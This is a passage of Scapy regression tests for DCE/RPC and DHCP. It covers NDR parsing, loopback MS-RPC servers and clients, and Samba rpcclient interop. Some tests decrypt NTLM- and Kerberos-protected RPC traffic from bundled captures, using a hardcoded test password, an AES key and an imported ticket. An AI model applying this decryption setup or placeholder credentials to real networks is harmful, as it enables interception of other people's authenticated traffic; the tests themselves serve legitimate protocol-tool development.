9e\xb3E@\xfe\x8d\x0b\x88\xff\xd4\x85\x89\xb7\x8e\xaei\x9d\xba\xe6p\xfaOM\x9f\xde\x9b\xae5\xbf\xde\xbeEi\x8bO\xecH\x9dzy\xca\xa0a\x9b\xcb\x8c\xd6\x9a\x7fk\xc9\xd5_\x8e\xdd\x9cf\x9e\x99\xeey\xb3\xb0\xbao\x172_\xef\xe0\r2\'\tFI\xa6h\x92\x95\x9c\xe15DW\xa7\xf8\xb9v\xbf\x7f\\c\xed\'\xc4\xfe\xccw\x9b\x9eB\xa9\xdb\xb5\xee\xd6\x90\xb0\xdc\x83\xcc\x0c\xcb=\x94\x99\xa5H\x93\x853\x99\x8d&=i\xe3\xcc\xb4\xcdn\xd4\xf3\x16\x8e7\xe9\xc3\xdb>\xf7\xe3\xbf\xf3j.K\xe4\xe6\xd2\xf6w\xff\xf4\xe7$i\xd1vd&f\xdb_;\xb0.+\xbd\xc7\x96\x8e\x8b\x9c\x973O\xde\\ZT\x1e\xa1\xedu\xef\xb6=\x8c\xd9\xaf\xcd\x88\xf1\xbf\xcc(\xb2,\\x\xeb\x89!)}Z\xa0\xc4\xa3e\x94x 3\xc3\xe2\xc1\xf2f+e\xb5\x18\xacV\xdef\xe3Y;\xcf\xb0\xb4\x91\xe5X\xbdIO\x87\x8f\xf3\x9a\x87\xd2\xf7=\xfdm\xb9\x94W\xf7\xce\xa8\xf3\xce\x9eO\xe7\xa0\x8es\xd6H2\x12)\x894\xcd\x18YI\x10\xe4\x88\xdf\x94\xc2\xe6\x97n\x87\xc1h0q\x94\x8d\xa5-\xa4\xcd`\xe7\xcd\x81\xe3I\xda\xac7\x98)\x13e\x0f\xdf\x0enin\xc5\'\xaa\xad\xed\xb4\xd3\xf5V\xbdN\t\xfc\x11\xe4wz\x91T`\x1f%9\xbd s\xb2\x18\xf8W\xe9\xab\xbb\x89\xff\x03\x056\xf1\x00') conf.max_list_count = 500 pkt = ept_lookup_Response(data, ndr64=False) towers = [protocol_tower_t(x.valueof("tower").tower_octet_string) for x in pkt.valueof("entries")] assert len(towers) == 430 assert [x.floors[3].rhs.decode().rstrip("\x00") for x in towers if x.floors[3].protocol_identifier == 15] == [ '\\PIPE\\InitShutdown', '\\PIPE\\InitShutdown', '\\pipe\\eventlog', '\\PIPE\\atsvc', '\\PIPE\\atsvc', '\\PIPE\\atsvc', '\\PIPE\\atsvc', '\\PIPE\\atsvc', '\\PIPE\\wkssvc', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\1b6ced1995aeaf47', '\\pipe\\lsass', '\\pipe\\lsass', '\\PIPE\\ROUTER', ] tower = next(x for x in towers if x.floors[3].protocol_identifier == 15 and x.floors[3].rhs == b"\\PIPE\\ROUTER\x00") assert tower.floors[0].uuid = DCE/RPC 5 NDR: Test length_is with size_is with after-the-fact size # From [MS-RRP] class BaseRegQueryValue_Response(NDRPacket): fields_desc = [ NDRFullPointerField(NDRIntField("lpType", 0)), NDRFullPointerField( NDRConfVarStrLenField( "lpData", "", size_is=lambda pkt: (pkt.lpcbData if pkt.lpcbData else 0), length_is=lambda pkt: (pkt.lpcbLen if pkt.lpcbLen else 0), ) ), NDRFullPointerField(NDRIntField("lpcbData", 0)), NDRFullPointerField(NDRIntField("lpcbLen", 0)), NDRIntField("status", 0), ] pkt = BaseRegQueryValue_Response(b'\x00\x00\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00 \x00U\x00s\x00e\x00r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00', ndr64=True) assert pkt.valueof("lpType") == 1 assert pkt.valueof("lpData").decode("utf-16le") == 'Windows User\x00' assert pkt.valueof("lpcbData") == 26 assert pkt.valueof("lpcbLen") == 26 assert pkt.status == 0 = DCE/RPC 5 NDR: Test DEPORTED_CONFORMANTS with offsetted padding from scapy.layers.msrpce.mseerr import * pkt = DceRpc5ExtendedErrorInfo(b'\x01\x10\x08\x00\xcc\xcc\xcc\xcc\x98\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x04\x00\x02\x00\x01\x00\x01\x00\x04\x00\x00\x00\x08\x00\x02\x00\xc0\x03\x00\x00\x00\x00\x00\x00\xa5\xcfq`,\xea\xd9\x01\x02\x00\x00\x00!\x07\x00\x00L\x06\x00\x00\x01\x00\x00\x00\x03\x00\x03\x00\xc4\xfe\xfc\x99\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x02\x00\xc0\x03\x00\x00\x00\x00\x00\x00)fo`,\xea\xd9\x01\x03\x00\x00\x00\x00\x00\x00\x00G\x00\x00\x00\x03\x00\x00\x00\x03\x00\x03\x00\n\x00\x00\x00\x03\x00\x03\x00\x06\x00\x00\x00\x03\x00\x03\x00!\x07\x00\x00\x04\x00\x00\x00D\x00C\x001\x00\x00\x00\x00\x00\x00\x00', ExtendedErrorInfo) assert isinstance(pkt.extended_error.value, ExtendedErrorInfo) assert pkt.extended_error.value.max_count == 1 assert pkt.extended_error.value.Next.value.ProcessID == 960 assert pkt.extended_error.value.Next.value.TimeStamp == 133395140301514281 assert [x.Type for x in pkt.extended_error.value.Next.value.Params] == [3, 3, 3] assert pkt.extended_error.value.ComputerName.value.value.valueof("pString") == b'D\x00C\x001\x00\x00\x00' assert pkt.extended_error.value.ProcessID == 960 assert pkt.extended_error.value.TimeStamp == 133395140301672357 assert pkt.extended_error.value.Status == 1825 assert pkt.extended_error.value.DetectionLocation == 1612 assert pkt.extended_error.value.Params[0].Type == 3 = [MS-EERR] test show() with ContextManagerCaptureOutput() as cmco: pkt.show() result = cmco.get_output() EXPECTED = """# Extended Error Information PID: 960 - 18/09/2023 12:33:50.167234 (1695040430) | ComputerName: DC1\x00 | Generating Component: Runtime | Status: 1825 | DetectionLocation: OSF_SCALL__DoSecurityCallbackAndAccessCheck | Flags 0 | Params: [('eeptiLongVal', -1711472956)] PID: 960 - 18/09/2023 12:33:50.151428 (1695040430) | Generating Component: Security Provider | Status: STATUS_SUCCESS | DetectionLocation: AcceptThirdLeg10 | Flags 0 | Params: [('eeptiLongVal', 10), ('eeptiLongVal', 6), ('eeptiLongVal', 1825)] """ result assert result.strip() == EXPECTED.strip() + [PASSIVE] Passive sniffing ~ passive = [PASSIVE] Passive sniffing of DCE/RPC packets encrypted with SPNEGOSSP[NTLMSSP] from scapy.libs.rfc3961 import * import uuid bind_bottom_up(TCP, DceRpc5, dport=49679) bind_bottom_up(TCP, DceRpc5, sport=49679) conf.dcerpc_session_enable = True conf.winssps_passive = [ SPNEGOSSP( [ NTLMSSP( IDENTITIES={ "Administrator": MD4le("Password123!"), }, ) ] ) ] pkts = sniff(offline=scapy_path('test/pcaps/dcerpc_privacy_ntlm.pcapng.gz'), session=TCPSession) pkts.show() conf.dcerpc_session_enable = False # Packet 16 has an encrypted vt_trailer assert pkts[16].vt_trailer.commands[0].Command == 2 assert pkts[16].vt_trailer.commands[0].TransferSyntax == uuid.UUID('8a885d04-1ceb-11c9-9fe8-08002b104860') assert pkts[16].load == b'\x00\x00\x02\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x001\x009\x002\x00.\x001\x006\x008\x00.\x000\x00.\x001\x000\x000\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00' assert pkts[22].load == b'0\x00\x00\x00&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\x00D\x00W\x00S\x00\x00\x00\xee`\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xea\x00\x00\x00' assert pkts[23].load == b'\x00\x00\x00\x00\xad\xb3\xf5\xd1\x8eJ\xdeG\xa9\xa5\x85\xccvb\x8b\x970\x00\x00\x00\x03\x00\x00\x00\x1d\x83\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00' # Packet 32 is defragmented and encrypted ! assert pkts[32].auth_padding == b'\x00\x00\x00\x00\x00\x00\x00\x00' assert len(pkts[32].load) == 33592 # reassembled assert hashlib.sha256(pkts[32].load).digest() == b"\xc0\xb5\xde\x1c0\\\x02\x04\x1c\x7f\x05\xcc\xde\xd7\x01\xa5{\x917\xb4\xff\xc7\xa4\xd1\x89\xcd\x1cQ\xa1'3!" = [PASSIVE] Passive sniffing of DCE/RPC packets encrypted with SPNEGOSSP[KerberosSSP] with AES from scapy.libs.rfc3961 import * bind_bottom_up(TCP, DceRpc5, dport=49701) bind_bottom_up(TCP, DceRpc5, sport=49701) conf.dcerpc_session_enable = True conf.winssps_passive = [ SPNEGOSSP( [ KerberosSSP( KEY=Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("85abb9b61dc2fa49d4cc04317bbd108f8f79df28239155ed7b144c5d2ebcf016")), SPN="ldap/dc1.domain.local", ) ] ) ] pkts = sniff(offline=scapy_path('test/pcaps/dcerpc_privacy_krb.pcapng.gz'), session=TCPSession) pkts.show() conf.dcerpc_session_enable = False # Packet 15 has an encrypted vt_trailer assert pkts[15].vt_trailer.commands[0].Command == 2 assert bytes(pkts[15][DceRpc5Request].payload) == b'\x00\x00\x02\x00\x00\x00\x00\x00\x1a M\xe2\xd6O\xd1\x11\xa3\xda\x00\x00\xf8u\xae\r\x00\x00\x02\x00\x00\x00\x00\x004\x00\x00\x00\x00\x00\x00\x004\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' assert pkts[21].obj.referent_id == 0x1 assert pkts[21].map_tower.value.tower_octet_string == b'\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\x00\x87\x01\x00\t\x04\x00\x00\x00\x00\x00' assert pkts[21].max_towers == 4 assert pkts[22].num_towers == 1 assert pkts[22].ITowers.max_count == 4 assert pkts[22][ept_map_Response].valueof("ITowers")[0].max_count == 75 assert pkts[22][ept_map_Response].valueof("ITowers")[0].tower_length == 75 assert pkts[22][ept_map_Response].valueof("ITowers")[0].tower_octet_string == b'\x05\x00\x13\x00\r5BQ\xe3\x06K\xd1\x11\xab\x04\x00\xc0O\xc2\xdc\xd2\x04\x00\x02\x00\x00\x00\x13\x00\r\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x02\x00\x00\x00\x01\x00\x0b\x02\x00\x00\x00\x01\x00\x07\x02\x00\xc2\x03\x01\x00\t\x04\x00\xc0\xa8\x00d' + MS-RPC client and server % The fact that all of this actually works is crazy to me. = Functional: Define a MS-RPC server % Same as in dcerpc.rst from scapy.layers.dcerpc import * from scapy.layers.msrpce.all import * from scapy.layers.msrpce.raw.ms_wkst import * class MyRPCServer(DCERPC_Server): @DCERPC_Server.answer(NetrWkstaGetInfo_Request) def handle_NetrWkstaGetInfo(self, req): """ NetrWkstaGetInfo [MS-SRVS] "returns information about the configuration of a workstation." """ req = req[NetrWkstaGetInfo_Request] req.show() if req.Level != 0x00000064: return None return NetrWkstaGetInfo_Response( WkstaInfo=NDRUnion( tag=100, value=LPWKSTA_INFO_100( wki100_platform_id=500, # NT wki100_ver_major=5, wki100_computername=req.valueof("ServerName") + b"Server" ), ), ndr64=self.ndr64, ) @DCERPC_Server.answer(NetrEnumerateComputerNames_Request) def handle_NetrEnumerateComputerNames(self, req): """ NetrWkstaGetInfo [MS-SRVS] "returns information about the configuration of a workstation." """ req = req[NetrEnumerateComputerNames_Request] req.show() return NetrEnumerateComputerNames_Response( ComputerNames=PNET_COMPUTER_NAME_ARRAY( ComputerNames=[PUNICODE_STRING(Buffer=x) for x in ["Scapy", "Foo", "Bar"]] ), ndr64=self.ndr64, ) = Functional: Define wrapper over samba's rpcclient ~ linux samba import subprocess # Create a temporary directory for config TEMP_DIR = pathlib.Path(get_temp_dir()) TEMP_DIR.chmod(0o0755) print(TEMP_DIR) # required for smb.conf to work in standalone without root.. wtf LOGS_DIR = TEMP_DIR / "logs" LOCK_DIR = TEMP_DIR / "lock" PRIVATE_DIR = TEMP_DIR / "private" PID_DIR = TEMP_DIR / "pid" CACHE_DIR = TEMP_DIR / "cache" STATE_DIRECTORY = TEMP_DIR / "state" NCALRPC_DIR = TEMP_DIR / "ncalrpc" for dir in [LOGS_DIR, LOCK_DIR, PRIVATE_DIR, PID_DIR, CACHE_DIR, STATE_DIRECTORY, NCALRPC_DIR]: dir.mkdir() SMBD_LOG = LOGS_DIR / "log.smbd" SMBD_LOG.touch() # smb.conf CONF_FILE = get_temp_file(autoext=".conf") CONF = """ # Scapy unit tests rpcserver client [global] lock directory = %s private directory = %s cache directory = %s ncalrpc dir = %s pid directory = %s state directory = %s """ % ( LOCK_DIR, PRIVATE_DIR, CACHE_DIR, NCALRPC_DIR, PID_DIR, STATE_DIRECTORY, ) print(CONF) with open(CONF_FILE, "w") as fd: fd.write(CONF) def run_rpcclient(transport, command, debug=False): args = [ "rpcclient", "-c", command, "%s:127.0.0.1[12345%s]" % ( transport, ",seal" if transport == "ncacn_ip_tcp" else "" ), "-p", "12345", "-U", "User", "--password", "Password", "--configfile", CONF_FILE, ] if debug: args += ["-d 5"] print(" ".join(args)) proc = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) return proc.communicate(timeout=10)[0] = Functional: Start the MS-RPC server over NCACN_IP_TCP with NTLMSSP ssp = NTLMSSP( UPN="User", HASHNT=MD4le("Password"), IDENTITIES={ "User": MD4le("Password"), }, ) rpcserver = MyRPCServer.spawn( DCERPC_Transport.NCACN_IP_TCP, iface=conf.loopback_name, ssp=ssp, port=12345, bg=True, ) = Functional: Connect to it with DCERPC_Client over NCACN_IP_TCP with NTLMSSP client = DCERPC_Client( DCERPC_Transport.NCACN_IP_TCP, auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY, ssp=ssp, ndr64=False, ) client.connect(get_if_addr(conf.loopback_name), port=12345) client.bind(find_dcerpc_interface("wkssvc")) req = NetrWkstaGetInfo_Request( ServerName="Nice", Level=0x00000064, # WKSTA_INFO_100 ndr64=False ) resp = client.sr1_req(req) assert isinstance(resp.valueof("WkstaInfo"), LPWKSTA_INFO_100) assert resp.valueof("WkstaInfo").valueof("wki100_computername") == b"NiceServer" = Functional: Start an endpoint mapper for NCACN_IP_TCP ~ linux samba needs_root * rpcclient is dumb and doesn't understand 'ncacn_ip_tcp:127.0.0.1[12345]' means: don't try the endpoint mapper * ==> we must spawn an endpoint mapper on port 135 * ==> we must be root. portmapserver = DCERPC_Server.spawn( DCERPC_Transport.NCACN_IP_TCP, iface=conf.loopback_name, port=135, bg=True, portmap={ find_dcerpc_interface("wkssvc"): 12345, }, ) = Functional: Connect to the server with samba's rpcclient over NCACN_IP_TCP with NTMLSSP ~ linux samba needs_root # Note: this is broken in rpcclient < 4.16 .. D: # https://github.com/samba-team/samba/commit/b5e56a30dfd33e89cfb602b1e7480e210434d600 # Note: if this eventually crashes, consider checking whether rpcclient is now greater than 4.16 in github actions (ubuntu-latest) import re rpcver = subprocess.Popen(["rpcclient", "-V"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True).communicate()[0] rpcver = tuple(int(x) for x in re.search(r"[^\d]+(\d+\.\d+\.\d+).*", rpcver).group(1).split(".")) if rpcver <= (4, 16, 0): print("Skipping ncacn_ip_tcp test (broken rpcclient)") else: result = run_rpcclient("ncacn_ip_tcp", "wkssvc_enumeratecomputernames") print(result.decode()) assert b"Scapy" in result = Functional: Close the endpoint mapper ~ linux samba needs_root try: portmapserver.shutdown(socket.SHUT_RDWR) except OSError: pass portmapserver.close() = Functional: Close the server # Close everything now client.close() try: rpcserver.shutdown(socket.SHUT_RDWR) except OSError: pass rpcserver.close() = Functional: Re-Start the same MS-RPC server over NCACN_IP_TCP with KerberosSSP load_module("ticketer") SRVKEY = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("85abb9b61dc2fa49d4cc04317bbd108f8f79df28239155ed7b144c5d2ebcf016")) * Server SSP srvssp = KerberosSSP( KEY=SRVKEY, SPN="ldap/dc1.domain.local", ) * Client SSP t = Ticketer() t.import_krb( KRB_Ticket(bytes.fromhex("618204ae308204aaa003020105a10e1b0c444f4d41494e2e4c4f43414ca2233021a003020103a11a30181b046c6461701b106463312e646f6d61696e2e6c6f63616ca382046c30820468a003020112a10302010ea282045a04820456280c76dee773a1c5e5bd966094201dc028c76f36bbcb9b04c6bb15e02893834f92c694b26bd627fb3f17c2b7eb3ccc57f926e28a9b578b75d1a179c2ce5cba08c67d6b8529f4988490a86a25ec181615e29a344df498ee5ab11a76ff34d862a09b457f6ed528aeb3ad7e7f075f5a02513830554d17edd00554c8f80bab69b80dec86a55111e7ac476d5f099f2ae374378f814a7b85d60f3ce3cff003ff82dd81a7a91a38ff79e5f51e8576de6aba5c86cc7ae2baf13038a8b4b554ff07b9873f19a0c682e83a57811475688e93b2ff53d232a037a19aab83d741204f088fb711c883ce66f4f989752b2c8b18b5cc3fffecbfd9076c25ee39cb13856c09e2ff4958c26e5ecade8c47a2adfd5ceab9d458617b6d3998dd8ee99d0eb57765d0976031a5eb618b076b1e3f6565b4370f238e8829b13deccf5ec35279946816969d5e307e33820f98efb6f601f79c16344d891a415babc6d4d01f992d15ebbf12fb5948cdbef6ed1ba2e5303ca2b0afd0ef1e5231458571bb2e7f463ce539faef5706ac1f8fb34668b6dff101c2fdb4f231fa75c24bb5aff7ee4349ce1948c42fdb91863772bd6c0dac26f47fe6ab1e617cdc85d9e015898fb5d6a0d8a38423c2ef49ec42e200f983fa45526b8cd205db3015e9d37de9cdd5b5befe519f22b7e65780f251215f3ca618f136f73200dd719c23dd3d4072b185e58628b2408377d688ab4540d1395af818a609d3f4df611483a77cd13511978eacf7acc91dd9740d97a9cbbb1299898219650d5ae0d3c0d0521e32132c889a65819ead424ec4f2be1d930f022f27b88078d301a1ce73070062ddf2259b839211e9f83d4585242328e310656f188f3f4cec5d5a61f08f9f0c2a15992a5aa65c4da838a5fd8df426fc4c7679d6af4a261d943a2501ba7221a0af1bc2db19bdfda44064efd94db45231b89035db904b3361afb0c0da0ab4c17857e86a820027f274e01a60388931520db0d667b5453e985152ebd382872122415ec13a88eaaf8522e18b54f580365742ce5884c5fe1d719b752788ff283725c446739686c9f76c850800016287f7cb85390c045fd250104d44f641d62ce1c7882bad72b574e10e1521d843938f30ab7064b007479f2bdc5e8d0aaf26b89993bf2c7c413aec8b8cad4c8d4714904125b868a807329d54674eff909a690bfd735d2c7134c9e819e48a66385a4d48d13ea710f45df9605d727a3d28e5bd09f7385bcab92bc1903ce888571309ffaf370024c5cc527730d256b20ba19511df8f0aa970b638a4393a45db03969b7415270887ef7ec94abbda98632a8d14b0d73f855e416e6d167269d04ec2489c843f11db04074c60c7ea9a13d2d1aca94379e84529bbd96a73f0cd6d8d9d85b5e06272e8739d0d2607d0b57b6e763118996aa8bf903bbaf4ce2ebc20b071e1dbbd48102634823059d4a37d73c054d0e066a09b6c53fe7319a7fcde0f4624461c8b584743d40dc334b34230d56c338bab40426ce7ade90f05a01cb0c0b8963860e4156831e8aecfb8721bf437ab71af74c426acfe7f9134163364a7ee2e")), key=SRVKEY, ) clissp = t.ssp(0) rpcserver = MyRPCServer.spawn( DCERPC_Transport.NCACN_IP_TCP, iface=conf.loopback_name, ssp=srvssp, port=12345, bg=True, ) = Functional: Connect to it with DCERPC_Client over NCACN_IP_TCP with KerberosSSP client = DCERPC_Client( DCERPC_Transport.NCACN_IP_TCP, auth_level=DCE_C_AUTHN_LEVEL.PKT_INTEGRITY, ssp=clissp, ndr64=False, ) client.connect(get_if_addr(conf.loopback_name), port=12345) client.bind(find_dcerpc_interface("wkssvc")) req = NetrWkstaGetInfo_Request( ServerName="Nice", Level=0x00000064, # WKSTA_INFO_100 ndr64=False ) resp = client.sr1_req(req) assert isinstance(resp.valueof("WkstaInfo"), LPWKSTA_INFO_100) assert resp.valueof("WkstaInfo").valueof("wki100_computername") == b"NiceServer" = Functional: Close the server # Close everything now client.close() try: rpcserver.shutdown(socket.SHUT_RDWR) except OSError: pass rpcserver.close() = Functional: Re-Start the same MS-RPC server over NCACN_NP rpcserver = MyRPCServer.spawn( DCERPC_Transport.NCACN_NP, iface=conf.loopback_name, port=12345, bg=True, debug=4, ) = Functional: Connect to it with DCERPC_Client over NCACN_NP client = DCERPC_Client( DCERPC_Transport.NCACN_NP, ndr64=False, ) client.connect(get_if_addr(conf.loopback_name), port=12345, smb_kwargs={"debug": 4}) client.open_smbpipe("wkssvc") client.bind(find_dcerpc_interface("wkssvc")) req = NetrWkstaGetInfo_Request( ServerName="Nice", Level=0x00000064, # WKSTA_INFO_100 ndr64=False ) resp = client.sr1_req(req) # Close everything now client.close() try: rpcserver.shutdown(socket.SHUT_RDWR) except OSError: pass rpcserver.close() assert isinstance(resp.valueof("WkstaInfo"), LPWKSTA_INFO_100) assert resp.valueof("WkstaInfo").valueof("wki100_computername") == b"NiceServer" = Functional: Re-Start the same MS-RPC server over NCACN_NP with SPNEGOSSP+NTLMSSP from scapy.layers.spnego import SPNEGOSSP ssp = SPNEGOSSP( [ NTLMSSP( UPN="User", HASHNT=MD4le("Password"), IDENTITIES={ "User": MD4le("Password"), } ) ] ) rpcserver = MyRPCServer.spawn( DCERPC_Transport.NCACN_NP, iface=conf.loopback_name, ssp=ssp, port=12345, bg=True, debug=4, ) = Functional: Connect to it with DCERPC_Client over NCACN_NP with NTLMSSP client = DCERPC_Client( DCERPC_Transport.NCACN_NP, ssp=ssp, ndr64=False, ) client.connect(get_if_addr(conf.loopback_name), port=12345, smb_kwargs={"debug": 4}) client.open_smbpipe("wkssvc") client.bind(find_dcerpc_interface("wkssvc")) req = NetrWkstaGetInfo_Request( ServerName="Nice", Level=0x00000064, # WKSTA_INFO_100 ndr64=False ) resp = client.sr1_req(req) assert isinstance(resp.valueof("WkstaInfo"), LPWKSTA_INFO_100) assert resp.valueof("WkstaInfo").valueof("wki100_computername") == b"NiceServer" = Functional: Connect to the server with samba's rpcclient over NCACN_NP with NTLMSSP ~ linux samba result = run_rpcclient("ncacn_np", "wkssvc_enumeratecomputernames") print(result.decode()) assert b"Scapy" in result = Functional: Close the server # Close everything now client.close() try: rpcserver.shutdown(socket.SHUT_RDWR) except OSError: pass rpcserver.close() + Cleanup = Restore conf.debug_dissector conf.debug_dissector = old_debug_dissector ================================================ FILE: test/scapy/layers/dhcp.uts ================================================ % DHCP regression tests for Scapy ############ ############ + DHCP = BOOTP - misc assert BOOTP().answers(BOOTP()) assert BOOTP().hashret() == b"\x00\x00\x00\x00" import random random.seed(0x2809) o = str(RandDHCPOptions(size=1)) # print("RandDHCPOptions %s" % o) assert o in [r"[('NIS_server', '215.226.221.106')]", r"[('tcp_keepalive_interval', 3853054080)]", r"[('tcp_keepalive_interval', 3853054080L)]"] = DHCPOptionsField value = [("hostname", "scapy")] dhcpoptfield = DHCPOptionsField("options", "") assert dhcpoptfield.i2repr("", value) == "[hostname='scapy']" assert dhcpoptfield.i2repr("", ["opt", "opt2"]) == "[opt opt2]" assert dhcpoptfield.i2m("", value) == b'\x0c\x05scapy' assert dhcpoptfield.m2i("", b'\x0cunknown') == [b'\x0cunknown'] assert dhcpoptfield.m2i("", b'\x0c\x05scapy') == [('hostname', b'scapy')] unknown_value_end = b"\xfe" + b"\xff"*257 udof = DHCPOptionsField("options", unknown_value_end) assert udof.m2i("", unknown_value_end) == [(254, b'\xff'*255), 'end'] unknown_value_pad = b"\xfe" + b"\xff"*256 + b"\x00" udof = DHCPOptionsField("options", unknown_value_pad) assert udof.m2i("", unknown_value_pad) == [(254, b'\xff'*255), 'pad'] = DHCP - build s = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="00:01:02:03:04:05")/DHCP(options=[("message-type","discover"),"end"])) assert s == b'E\x00\x01\x10\x00\x01\x00\x00@\x11{\xda\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x00\xfc\x04}\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc5\x01\x01\xff' s2 = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="05:04:03:02:01:00")/DHCP(options=[("param_req_list",[12,57,45,254]),("requested_addr", "192.168.0.1"),"end"])) assert s2 == b'E\x00\x01\x19\x00\x01\x00\x00@\x11{\xd1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00C\x00D\x01\x05\xd5\x83\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x04\x03\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00c\x82Sc7\x04\x0c9-\xfe2\x04\xc0\xa8\x00\x01\xff' s3 = raw(IP(src="127.0.0.1")/UDP()/BOOTP(chaddr="05:04:03:02:01:00")/DHCP(options=[("time_zone",123),("uap-servers","www.example.com"),("netinfo-server-address","10.0.0.1"), ("ieee802-3-encapsulation", 2),("max_dgram_reass_size", 120), ("pxelinux_path_prefix","/some/path"), "end"])) assert s3 == 